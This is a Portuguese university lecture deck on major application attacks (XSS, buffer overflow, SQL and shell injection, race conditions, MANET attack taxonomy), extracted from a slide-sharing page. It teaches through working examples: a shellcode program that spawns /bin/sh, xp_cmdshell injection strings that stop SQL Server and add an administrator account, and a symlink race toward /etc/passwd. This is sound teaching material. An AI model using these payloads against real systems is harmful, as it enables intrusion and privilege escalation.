25
Especializa ção em Segurança da Informação Segurança em Aplicações 3. Principais Ataques Márcio Aurélio Ribeiro Moreira [email protected] http://si.lopesgazzani.br/docentes/marcio/

Segurança em Aplicações 3. Principais Ataques

  • Upload
    klaus

  • View
    36

  • Download
    0

Embed Size (px)

DESCRIPTION

Segurança em Aplicações 3. Principais Ataques. Márcio Aurélio Ribeiro Moreira [email protected] http:// si.lopesgazzani.br/docentes/marcio /. Estrutura típica de aplicações. Principais pontos de ataque. Áreas públicas: Vantagem:Facilidade de ataque Desvantagem:Baixo retorno - PowerPoint PPT Presentation

Citation preview

Page 1: Segurança em Aplicações 3. Principais Ataques

Especialização em Segurança da Informação

Segurança em Aplicações3. Principais Ataques

Márcio Aurélio Ribeiro [email protected]

http://si.lopesgazzani.br/docentes/marcio/

Page 2: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 2

Segurança em Aplicações

Estrutura típica de aplicações

Page 3: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 3

Segurança em Aplicações

Principais pontos de ataque Áreas públicas:

Vantagem: Facilidade de ataqueDesvantagem: Baixo retornoAlvos e ataques:

Clientes: Roubo de informaçõesLinks: Coleta de pacotesWebservers: Negação de serviço

Áreas restritas:Vantagem: Alto retornoDesvantagem: ComplexidadeAlvos e ataques:

Firewall:Negação de serviçoS.Aplicação: Violação de acessoS.Banco: Violação de acesso

Baixo Retor

no

Fácil

Difícil

Rentável

Page 4: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 4

Segurança em Aplicações

Principais vulnerabilidades

Áreas públicas:Baixo conhecimento dos usuáriosBaixo nível de proteção das estaçõesUso de protocolos inseguros ou frágeis

Áreas restritas:Gestão inadequada de usuáriosGestão inadequada de perfisIntegrações inseguras entre sistemasServidores mal configuradosAplicações mal escritas

Page 5: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 5

Segurança em Aplicações

Resumo das ameaças Ameaças de invasão:

Atividades de varredura: pessoas procurando formas de acessar seus serviços ou aplicações

Intrusão: Tentativa bem sucedida de obter acesso à uma máquina que não deveria ter Destruição: Perda de dados ou informações (após a intrusão)

Código malicioso: Vírus, verme, etc.

Negação de Serviço (DoS: Denial-of-Service): Impedir que o serviço seja oferecido aos usuários Ex.: E-mails bomba (lotam o servidor de e-mails forjados)

Forjar (spoofing): Oferecer serviços ou aplicações que parecem com os verdadeiros para obter

informações (especialmente credenciais) SPAM:

Espalhar e-mails ou mensagens não desejadas pelas pessoas

Page 6: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 6

Segurança em Aplicações

Explorando vulnerabilidades públicas Explorando a fragilidade do usuário:

Cavalo de Tróia (Trojan horse) e vírus/verme/malwareSequestro de sessão (session hijack)Engenharia social (obter informações privadas)Fragilidade de senhas

Explorando a fragilidade da máquina:Keyloggers (interceptadores de teclado e mouse)Tomando o controle da máquina do usuário

Explorando pacotes de rede (sniffing):Coleta de credenciais (Ethereal)Preparação de ataques a áreas restritasGanhar acesso e controle de servidores

Page 7: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 7

Segurança em Aplicações

Explorando gestão inadequada

Gestão inadequada de usuáriosUm usuário para cada sistema ou aplicaçãoUsuários demitidos, mas os acessos nãoAcumulação de acessos durante a carreiraFalta de padronizações (processos adequados)

Gestão inadequada de perfisNivelar perfil pela maior necessidadeAcumulação de perfis durante a carreiraIntegração de parceiros, terceiros, visitantes, etc.

Page 8: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 8

Segurança em Aplicações

Explorando servidores mal configurados

Trocando módulos e pacotes de correçõesInterceptando chamadas de sistemaExplorando Rootkits (kernel forjado)Explorando Condições de Corrida

Ganhar privilégios indevidos ou negar o serviçoBuffer OverflowAtacar protocolos frágeisAtacar utilitários frágeis

Page 9: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 9

Segurança em Aplicações

Explorando integrações ruins

A integração de sistemas é muito comumComo sistemas heterogêneos podem

conversar entre si?Solução comum:

Arquivos texto (ASCII), planilhas, etc.Armazenado em pastas comuns aos sistemasTransportados em mídias ou links inseguros

Interface humana (lê em um e digita no outro)Ataques:

Interceptação, cópia, alteração, inclusão e exclusão

Page 10: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 10

Segurança em Aplicações

Explorando aplicações mal escritas Redundâncias de autenticações:

n aplicações n bases de autenticações Injeção de código:

SQL injection:Forjar acessos válidos (ataque ao where)Ganhar acesso indevido (console remoto)

Code injection:Forjar acessos válidos (ataque ao if)Buffer overflow: instalando portas de acessoCapturar áreas de memória (memory dump)

Explorar falta de rastreabilidade e consistência:Usar credenciais válidas para ações ilícitas

Page 11: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 11

Segurança em Aplicações

Explorando aplicações webInspeção de pacotes: usar https com sslKeyloggers: usar teclado virtualExplorar portas: usar firewallEspalhar vírus e trojan: usar antivírusSites clonados: digite o endereçoE-mails falsos:

Não abra, use confirmação de remetente, etc.Utilize e-mails seguros (cifrados e autenticados)

Assistentes virtuais: personalize a página

Page 12: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 12

Segurança em Aplicações

10 principais ataques para web Injeção (código e SQL) Cross Site Scripting (XSS) Quebra de autenticação e de gestão de sessão Falta de segurança em referências diretas a objetos Forjar requisições para trocas de sites (CSRF: Cross Site

Request Forgery) Configuração inadequada de servidores Falhas de controle de acesso as URLs restritas Encaminhamentos e redirecionamentos inválidos Baixo nível de criptografia de acesso à Storages Insuficiência na proteção da camada de transporte da rede

Page 13: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 13

Segurança em Aplicações

Explorando o “man in the middle”Ataque do homem do meio:

Interceptar uma conexãoSeqüestrar a sessãoRecomendações:

Não use proxyUse certificados públicosUse uma entidade certificadora externaUse cartões de números variáveis (tokens)Autentique a estação de origem

Questão: como autenticar dispositivos móveis?

Page 14: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 14

Segurança em Aplicações

XSS (Cross Site Scripting) Ideia:

Injeção de código (JavaScript, VBScript, ActiveX, HTML ou Flash) por um espião, do lado do cliente, nas páginas que serão utilizadas por outros usuários

Meios utilizados:Páginas que serão acessadas, cookies, e-mails com links para

áreas intermediárias, etc. Paradoxo:

Para evitar o ataque o usuários deve desabilitar a execução de scripts, mas com isto perde funcionalidades que podem ser imprescindíveis

Exemplo trivial:Digitar <script>alert(“hello")</script>, numa caixa de texto de busca

Page 15: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 15

Segurança em Aplicações

Buffer Overflow

Exemplo:char nome[30];printf(“Nome: ");gets(nome); // permite o overflow da variávelchar b[100];strcpy(nome, b); // copia os 100 bytes de b em nome

Se faltar memória: Erro Se a linguagem tratar: Erro ou exceção Se a linguagem não tratar?

Existem vários ataques que exploram isto!

Page 16: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 16

Segurança em Aplicações

Buffer Overflow - Estratégia Injetar código nas variáveis das

funções:Acessar o shell do SOAbrir portas para ataques posterioresInstalar ou abrir servidores de acesso

remoto Mudar o endereço de retorno Disparar o código por outra injeção Vulnerabilidades conhecidas:

TCP/IP, IIS (ISAPI), Apache, Sendmail, Linux e Unix (DNS: update de zonas), etc.

Argumentos

Endereço de retorno

Variáveis

Código da função

Retorno

Estrutura de Funções:

Page 17: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 17

Segurança em Aplicações

Exemplo de código de ataque#include <stdio.h>#include <string.h>char shellcode[ ] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];strcpy(buffer, large_string);return 0;}

Page 18: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 18

Segurança em Aplicações

Como obter o código de ataque?Programando em Assembler e pegando os

códigos hexa do executávelUtilizando o DEBUG:

Page 19: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 19

Segurança em Aplicações

SQL Injection Idéia: injetar código para ganhar acessoExemplo de autenticação:

SELECT *FROM usuariosWHERE usuario = '$usuario' AND senha =

'$senha' Sintaxe SQL:

' (apóstrofo) Terminador de strings-- (2 menos) Comentários (ignora o restante)

O que acontece se digitarmos no campo usuário?x' OR 1=1 --

Page 20: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 20

Segurança em Aplicações

SQL Injection - Exemplos No SQL Server:

'; EXEC xp_cmdshell 'net stop sqlserver', no_output --No lugar do comando (net stop ...), podemos colocar:

Net user admin2 /add && net localgroup administrators admin2 /add && net localgroup ORA_DBA admin2 /add

' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' --

Injeção no get (passagem de parâmetros) em url:http://windefense/index.asp?id=10 UNION SELECT TOP 1

TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'—

Referências:www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

Page 21: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 21

Segurança em Aplicações

Code InjectionApós ganhar acesso ao SO digite:

cat > exs // copia digitação em exs#!/bin/sh // o shell default é o shA=$1 // atribui o 1º parâmetro à Aeval "ls $A“ // executa ls com conteúdo de A

chmod a+rx exs // permite execução de exsO que acontece se digitarmos?

./exs ".;chmod o+r *“O caractere “;” é um separador de

comandos do shell do linux e unix

Page 22: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 22

Segurança em Aplicações

Condições de corrida Os arquivos temporários são gerados por funções:

name=maketemp("/tmp/gs_XXXXXXXX"); fp=fopen(name,"w");

Eles herdam os privilégios de seus geradores O que podemos colocar em arquivos temporários? O que ocorre se no momento de uma condição de corrida

mudarmos a path do arquivo?Ex: symlink /tmp/gs_12345A -> /etc/passwd

As condições de corrida podem ocorrer:Memória, arquivos ou sinais.

Referência:http://projects.cerias.purdue.edu/secprog/class2/5.Links_&_Races.pdf

Page 23: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 23

Segurança em Aplicações

O que fazer? Proteger a infra-estrutura:

Segurança de perímetro (Firewall, IDS, IPS, etc.)Segurança na instalação, configuração e manutençãoAtualização segura de SO e serviçosAvaliação periódica de segurança (Ethical Hacking)Monitoramento contínuo de log

Proteger as aplicações:Processo de desenvolvimento seguro de desenvolvimentoAutenticação centralizadaAdote padrões de comunicação e conexão com DBMSProcesso de garantia da qualidade (avaliações periódicas)

Page 24: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 24

Segurança em Aplicações

Taxonomias (critérios de classificação) MANET:

Mobile ad-hoc network Classifica:

Vulnerabilidades, Desafios, Ataques e Aplicações MANET: Vulnerabilities, Challenges, Attacks, Application - Priyanka Goyal,

Vinti Parmar e Rahul Rishi AVOIDIT:

Classifica: Ataques, Vetores, Impactos Operacionais, Defesa, Impacto de Informações e

Alvos AVOIDIT: A Cyber Attack Taxonomy - Chris Simmons, Charles Ellis, Sajjan

Shiva, Dipankar Dasgupta, Qishi Wu Tratado sobre o tema:

A taxonomy of computer attacks with applications to wireless networks - Daniel Lowry Lough

Page 25: Segurança em Aplicações 3. Principais Ataques

Márcio Moreira 3. Principais Ataques – slide 25

Segurança em Aplicações

MANETVulnerabilidades Desafios Ataques Aplicações

Falta de gestão centralizada Roteamento Externos Militares

Disponibilidade de recursos Segurança e Confiabilidade Internos Comerciais

Escalabilidade Qualidade de Serviço Negação de serviço Locais

Falta de cooperação Inter redes Falsidade ideológica(Impersonation) Pessoais

Topologias dinâmicas Consumo de Energia Observação de informações confidenciais (Eavesdropping) Comunicação

Limitação de fonte de energia Propagação (multicast) De roteamento

Restrições de largura de banda Localização apoiada por roteamento Ataque do buraco negro

Espiões dentro da rede Ataque do buraco de minhoca

Fronteiras não definidas Ataque do buraco cinza

Ataque de resposta

Encravamento (jamming)

Ataque do homem do meio